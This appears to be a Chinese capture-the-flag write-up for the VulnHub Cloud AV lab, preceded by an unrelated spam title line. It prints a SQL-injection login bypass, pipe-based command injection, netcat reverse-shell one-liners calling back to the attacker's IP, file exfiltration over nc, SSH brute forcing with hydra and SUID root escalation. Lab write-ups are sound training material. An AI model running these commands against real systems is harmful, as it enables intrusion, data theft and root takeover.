什么網(wǎng)站做簡(jiǎn)歷最好app推廣接單網(wǎng)
靶場(chǎng)介紹
靶場(chǎng)名:easy_cloudantivirus
靶場(chǎng)地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453
環(huán)境搭建
依舊使用VM VirtualBox搭建靶場(chǎng),攻擊機(jī)使用的是VMware中的kali,需要將VMware虛擬機(jī)kali和virtualbox靶機(jī)網(wǎng)絡(luò)連接設(shè)置,參考鏈接如下:
https://blog.csdn.net/xujj10086/article/details/123836792
靶場(chǎng)練習(xí)
掃ip,掃端口
arp-scan -l
nmap -sS 192.168.0.4
利用sql注入萬(wàn)能密碼登錄
訪問(wèn)8080端口服務(wù)
網(wǎng)站是一個(gè)病毒掃描器,需要輸入邀請(qǐng)碼。
第一思路是使用萬(wàn)能密碼嘗試能否進(jìn)入,于是使用burp進(jìn)行抓包爆破,爆破出了可以登錄進(jìn)去的萬(wàn)能密碼:
萬(wàn)能密碼為:
"or"a"="a
萬(wàn)能密碼的原理是利用sql注入,這里是使用雙引號(hào)對(duì)sql語(yǔ)句進(jìn)行了閉合,才能進(jìn)入系統(tǒng)。輸入萬(wàn)能密碼后進(jìn)入頁(yè)面
利用命令執(zhí)行漏洞反彈shell
提示說(shuō)嘗試使用掃描器掃描其中的文件,那么我們輸入hello試試:
返回了掃描的結(jié)果,這里我們判斷我們輸入hello后應(yīng)該是后臺(tái)會(huì)拼接上命令,我們可以嘗試拼接命令看是否會(huì)被執(zhí)行,通常會(huì)使用管道符|
輸入
hello|id
成功返回了id的執(zhí)行結(jié)果,說(shuō)明此處存在命令執(zhí)行漏洞
kali開(kāi)啟監(jiān)聽(tīng),使用nc進(jìn)行反彈shell
hello|nc -nv 192.168.0.3 2333 -e /bin/bash
發(fā)現(xiàn)沒(méi)有反彈成功,查看wp發(fā)現(xiàn)是因?yàn)榘袌?chǎng)環(huán)境中的nc沒(méi)有-e參數(shù)
輸入
hello|nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444
這里kali需要同時(shí)開(kāi)啟2233和4444端口
我們?cè)?233端口輸入的語(yǔ)句會(huì)在靶機(jī)中輸入到bash環(huán)境中執(zhí)行,再將執(zhí)行的結(jié)果返回到kali的4444端口中
如圖所示,我們?cè)?233處輸入ls,命令執(zhí)行的結(jié)果會(huì)在4444處返回
下載sql文件并進(jìn)行讀取
這里發(fā)現(xiàn)一個(gè)后綴名是sql的文件
通過(guò)nc命令將這個(gè)文件下載到kali里:
先在kali里開(kāi)啟監(jiān)聽(tīng):
nc -lvvp 5555 > db.sql
然后在可以執(zhí)行的命令框中執(zhí)行以下命令:
nc -nv 192.168.0.5 5555 <database.sql
如圖所示,就已經(jīng)收到這個(gè)文件了:
使用sqlite3嘗試讀取文件內(nèi)容,讀到了幾個(gè)密碼
使用hydra嘗試爆破ssh
由于靶機(jī)開(kāi)啟了22端口,我們嘗試找到有bash環(huán)境的用戶(hù)進(jìn)行密碼爆破
通過(guò)讀取 /etc/passwd文件,我們找到了三個(gè)有bash環(huán)境的用戶(hù)
使用在第一次靶場(chǎng)中使用過(guò)的hydra進(jìn)行爆破,需要制作用戶(hù)名和密碼的字典,結(jié)果如下:
沒(méi)有跑出來(lái)可以登錄的賬號(hào)密碼,說(shuō)明這條路走不通了,需要再看下別的地方。
繼續(xù)進(jìn)行信息收集
繼續(xù)進(jìn)行信息收集:
我們?cè)谏弦患?jí)目錄中發(fā)現(xiàn)了update_cloudav和update_cloudav.c文件
查看詳細(xì)的文件屬性,發(fā)現(xiàn)update_cloudav文件屬于root,也就是說(shuō)這個(gè)文件有suid權(quán)限,所屬組是scanner,使用whoami看到我們當(dāng)前的用戶(hù)也是scanner,也就是說(shuō)我們有這個(gè)文件的執(zhí)行權(quán)限
suid提權(quán)
這里我們可以想到update_cloudav.c就是這個(gè)可執(zhí)行文文件的C語(yǔ)言源碼,我們讀取一下源文件:
可以看到內(nèi)容就是執(zhí)行病毒庫(kù)的更新程序并且要求我們?cè)趫?zhí)行文件的時(shí)候帶一個(gè)參數(shù)(倒數(shù)第六行),帶的參數(shù)也會(huì)放到system函數(shù)中執(zhí)行,那我們就嘗試讓我們的參數(shù)是反彈shell的命令即可:
先在kali開(kāi)啟兩個(gè)端口的監(jiān)聽(tīng),然后在執(zhí)行命令的窗口執(zhí)行下面的命令,要注意執(zhí)行命令的路徑要在update_cloudav文件所在的目錄下
./update_cloudav “a |nc 192.168.0.5 6666|/bin/bash|nc 192.168.0.5 7777”
成功獲得root權(quán)限!
后記
1.當(dāng)nc命令帶上-e參數(shù)無(wú)法執(zhí)行時(shí),可以先嘗試一下不帶參數(shù)的nc命令能否執(zhí)行,可以執(zhí)行的話就證明確實(shí)是靶機(jī)中的nc沒(méi)有-e參數(shù),就可以采用下面這種方法進(jìn)行反彈shell
nc 192.168.0.5 2233|/bin/bash|nc -nv 192.168.0.5 4444
我們?cè)?233端口輸入的語(yǔ)句會(huì)在靶機(jī)中輸入到bash環(huán)境中執(zhí)行,再將執(zhí)行的結(jié)果返回到kali的4444端口中。(當(dāng)然這里針對(duì)nc沒(méi)有-e參數(shù)還可以使用命名管道符進(jìn)行反彈shell)
2.獲取到shell后,要進(jìn)行詳細(xì)的信息收集,根據(jù)能收集到的所有信息,判斷哪些文件可以幫助我們進(jìn)行提權(quán)。像這個(gè)靶場(chǎng)中的update_cloudav文件,當(dāng)然也需要有代碼審計(jì)能力,這方面我還比較弱,是直接照著wp來(lái)的。
最后附上大佬的文章:
https://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247489706&idx=1&sn=91f7428304d36f0aea38750b1fbdb587&chksm=cfd86755f8afee43a58eb21f5c00a489841874a7970a3a88764352e19bd8f39fb1eb86687ba2&scene=178&cur_album_id=2923844073592012805#rd